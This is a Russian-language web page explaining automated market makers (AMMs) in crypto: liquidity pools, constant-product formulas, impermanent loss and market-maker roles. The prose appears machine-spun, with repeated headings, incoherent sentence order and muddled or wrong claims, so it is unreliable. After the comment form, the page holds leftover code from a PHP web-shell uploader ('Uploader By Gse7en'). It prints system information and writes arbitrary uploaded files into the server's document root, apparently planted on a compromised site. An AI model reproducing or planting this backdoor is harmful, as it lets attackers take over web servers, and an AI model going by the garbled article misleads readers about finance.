Что Такое Автоматический Маркет-мейкер Amm Как Работает Амм Whitebit Weblog

Вслед за ней на рынке появилось сразу несколько децентрализованных бирж с поддержкой AMM, таких как PancakeSwap и SushiSwap. В 2023 году автоматический маркет-мейкер появился даже в решениях второго уровня, таких как Polygon — недавно сайдчейн начал использовать AMM в виде Uniswap V3. Поставщиком ликвидности может быть любой, кто хочет предоставить свои токены в пул ликвидности. Взамен они получат токены пула ликвидности, которые представляют их долю в пуле.

Как работают автоматические маркет-мейкеры

Данный вид дохода возможен только для институционального маркет-мейкера, имеющего договор с организатором торгов. Например, маркет-мейкер может получать вознаграждение от биржи в виде комиссии за каждую совершенную сделку. Они позволили нам продвинуться вперед в истории, например, финансируя открытие новых континентов или лечение смертельных болезней. Однако, маркет-мейкер — единственный игрок, который должен всегда и при любых обстоятельствах реагировать на рыночные обстоятельства. Если цена монеты начинает падать, резервы можно использовать для скупки монет и поддержания цены. Точно так же, если цена начинает расти слишком быстро, резервы можно использовать для продажи некоторых монет и снижения цены.

Маркет-мейкер: Что Это И Как Это Работает?

Эти пулы финансируются пользователями, которые вносят свои токены в смартконтракт. Так, трейдеры вносят криптоактивы в соответствующие пулы для обеспечения ликвидности и снижения проскальзывания. А поставщики ликвидности, в свою очередь, получают часть торговой комиссии. Данные протоколы работают с помощью пулов ликвидности, состоящих из двух криптовалют. Пулы используют заранее определенные математические алгоритмы для «закрепления» цены одного актива относительно другого.

Ликвидность обеспечивается пулами токенов, а не отдельными покупателями и продавцами. Главным преимуществом является прозрачность формирования цены и глубина рынка. Однако эффективность этого механизма во многом зависит от присутствия покупателей и продавцов для поддержания ликвидности. Системы книг ордеров и автоматических маркетмейкеров – это два разных механизма для содействия торговле на криптовалютных рынках. Пользователи сохраняют контроль над своими активами до момента сделки, снижая риск, связанный с передачей активов третьей стороне.

Как работают автоматические маркет-мейкеры

Одним из значительных рисков является постоянные убытки, возникающие, когда цена токенов в пуле изменяется по сравнению с моментом их покупки. В отличие от традиционных маркетмейкинг механизмов, таких как книги ордеров и маркетмейкеров для осуществления торгов, маркет-мейкер криптовалюта AMM использует уникальный алгоритмический подход. Еще одно ключевое различие между этими двумя системами заключается в том, что AMM стимулируют инвесторов становиться поставщиками ликвидности (LP), предоставляя им часть комиссии за каждую транзакцию.

Расчет Алгоритма Ценообразования

В сущности, это снижение стоимости токена, которое испытывают пользователи, депонируя токены в AMM, по сравнению как если бы они удерживали их в кошельке в течение того же времени. Проще говоря, маркет-мейкинг – это деятельность по предоставлению ликвидности рынку путем одновременного установления цен как для покупки, так и для продажи актива. Конкретные требования к поставщику ликвидности различаются в зависимости от пула ликвидности.

Как работают автоматические маркет-мейкеры

Эти алгоритмы учитывают спрос и предложение на активы на рынке, а также цены на другие активы. AMM используют эту информацию для установления цен, справедливых как для покупателей, так и для продавцов. Маркет-мейкеры – это отдельные участники или фирмы-члены бирж, которые торгуют ценными бумагами за свой счет. Любой желающий может участвовать в создании и формировании пула ликвидности и получать за это награду. Стоит отметить, что будущие разработки AMM, вероятно, смогут снять это ограничение. AMM не только обеспечивает торговлю в системе, не требующей доверия, но и предоставляет ликвидность в пул ликвидности.

Автоматический Маркет-мейкер С Постоянной Суммой (csmm)

Это демократизирует процесс создания рынка и открывает возможности для более широкого круга участников. Виртуальный автоматический маркет-мейкер не имеет реальных активов в пулах и управляет ценами исключительно с помощью математической модели. Одним из таких примеров является Perpetual Protocol, где торгуются результаты событий. До появления АММ торговля осуществлялась с помощью биржевого стакана, который фиксировал интерес покупателей и продавцов к тому или иному активу. Традиционные маркет-мейкеры обеспечивали ликвидность, получая прибыль от спреда между ценой спроса и предложения. Другие участники рынка снова начнут покупать по ценам продажи маркет-мейкера, которые будут ниже его средней цены покупки в период общей распродажи на рынке.

Balancer продвигает модель AMM на шаг дальше, позволяя использовать несколько токенов в пуле с разным весом. Это означает, что вы можете создать пул ликвидности с более чем двумя токенами, и каждый из них может составлять разный процент от общей стоимости пула. Работа автоматических маркет-мейкеров (AMM) может показаться сложной на первый взгляд, но ее можно разделить на несколько ключевых компонентов.

Что Такое Автоматический Маркет-мейкер (amm) И Как Он Работает

Таким образом, ни одна централизованная структура не может решать, будет ли человек участвовать в торговле криптовалютой или нет. В основном они используются для мгновенного исполнения ордеров на покупку и продажу в пуле ликвидности. Проще говоря, пулы ликвидности позволяют инвесторам делегировать свои цифровые активы смарт-контракту, который упрощает торговлю в обмен на часть комиссий.

Общая стоимость, заблокированная в AMM, резко возросла, что свидетельствует об их растущей популярности. В основе страховых AMM лежит принцип объединения активов для обеспечения тех, которые принадлежат другим. На сегодняшний момент на рынке появились новые и усовершенствованные модели автоматических маркет-мейкеров, такие как вероятностные AMM, AMM с постоянным продуктом и другие. Потеря непостоянна, поскольку распределение токенов внутри LP может вернуться к тому, каким оно было.

  • На финансовом рынке используется как биржевой стакан (книга ордеров), так и AMM.
  • Эти участники должны поддерживать справедливые цены на различные активы в любое время и обеспечивать покрытие спроса.
  • Автоматический маркет-мейкер пришел на смену системе, в которой все ордера выставлялись вручную в книгу заказов и анализировались сотрудниками биржи в поисках совпадений.
  • Первым протоколом децентрализованных финансов (DeFi), который внедрил AMM, стал Bankor.

Автоматический маркет-мейкер — это одно из решений для децентрализации процесса торговли криптовалютами. Чтобы зарабатывать на бирже, нужно правильно прогнозировать движения цен и своевременно открывать позиции в этом направлении. Представьте, что вы можете контролировать движение цены, тогда вам будет достаточно открыть позицию на покупку, а затем двигать цену вверх или наоборот. Конечно, ни один маркет-мейкер в мире не может справиться с такими большими колебаниями цен. Однако, чтобы спровоцировать значительное движение цены, иногда достаточно даже крохотного импульса от маркетмейкера.

Это означает, что на рынке имеется высокий спрос со стороны трейдеров, которые хотят приобрести данный актив, и высокое предложение со стороны трейдеров, которые хотят продать данный актив. В каждом AMM используется математическая формула, которая позволяет определить стоимость активов в пулах ликвидности AMM. Каждый раз, когда пользователь хочет обменять токен на AMM, он добавляет актив в пул ликвидности. При изменении константы, скажем k, цена активов определяется таким образом, чтобы поддерживать баланс пула. Ликвидность играет решающую роль на финансовых рынках, и маркет-мейкеры следят за бесперебойым предоставлением ликвидности. В течение последних двух десятилетий мы медленно продвигались к более автоматизированной финансовой системе.

Автоматический Маркет-мейкер (amm): Что Это Такое? Как Это Работает?

Однако они также предупреждают, что пространство AMM, скорее всего, ждет консолидация и взросление, а в долгосрочной перспективе выживут только самые эффективные и безопасные платформы. Как и все остальное в криптовалюте, будущее AMM, скорее всего, будет представлять собой сочетание захватывающих инноваций и непредсказуемых изменений. Хотя многие платформы AMM проводят аудит своих смарт-контрактов, чтобы минимизировать этот риск, полностью его устранить невозможно.

Некоторые DEX-платформы предназначены для конкретных сценариев использования, а другие — для более широкого круга вариантов. Дополнительное преимущество этого механизма — обеспечение доступности ликвидности, ведь меняется только необходимая для доступа цена. Однако независимо от вида уравнения в основе AMM, оно будет подчиняться установленной математической формуле, необходимой для стабильности. Например, в случае CPMM эта формула нужна, чтобы общее количество токенов А, умноженное на общее количество токенов Б, всегда оставалось неизменным. Эта модель обеспечивает постоянную ликвидность, но может привести к таким проблемам, как непостоянные убытки. Несмотря на эти проблемы, некоторые платформы DeFi пытаются проводить транзакции между национальной валютой и криптовалютой, сотрудничая с регулируемыми организациями для установки фиатных шлюзов.

Однако эта система имела свои ограничения, в том числе задержку в обнаружении цен и потенциальное манипулирование рынком. Появление АММ произвело революцию в этом процессе, устранив необходимость в этих посредниках. AMM, являющиеся неотъемлемой частью протоколов DEX, позволяют пользователям торговать цифровыми активами напрямую, без стороннего посредника. Они используют алгоритмы для автоматизации ценообразования и сопоставления заказов, обеспечивая одноранговые, не требующие доверия транзакции. Эта система не только упрощает торговые процессы, но также повышает скорость и безопасность, используя смарт-контракты и технологию блокчейна. AMM используют математические формулы, с которыми пользователи DEX могут торговать друг с другом без участия третьей стороны.

Leave a Comment

Your email address will not be published. Required fields are marked *

Uploader By Gse7en
"; echo "".php_uname()."
"; echo "
"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['idx_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) { if(is_writable($root)) { if(@copy($_FILES['idx_file']['tmp_name'], $dest)) { $web = "http://".$_SERVER['HTTP_HOST']."/"; echo "sukses upload -> $web/$files"; } else { echo "gagal upload di document root."; } } else { if(@copy($_FILES['idx_file']['tmp_name'], $files)) { echo "sukses upload $files di folder ini"; } else { echo "gagal upload"; } } } ?>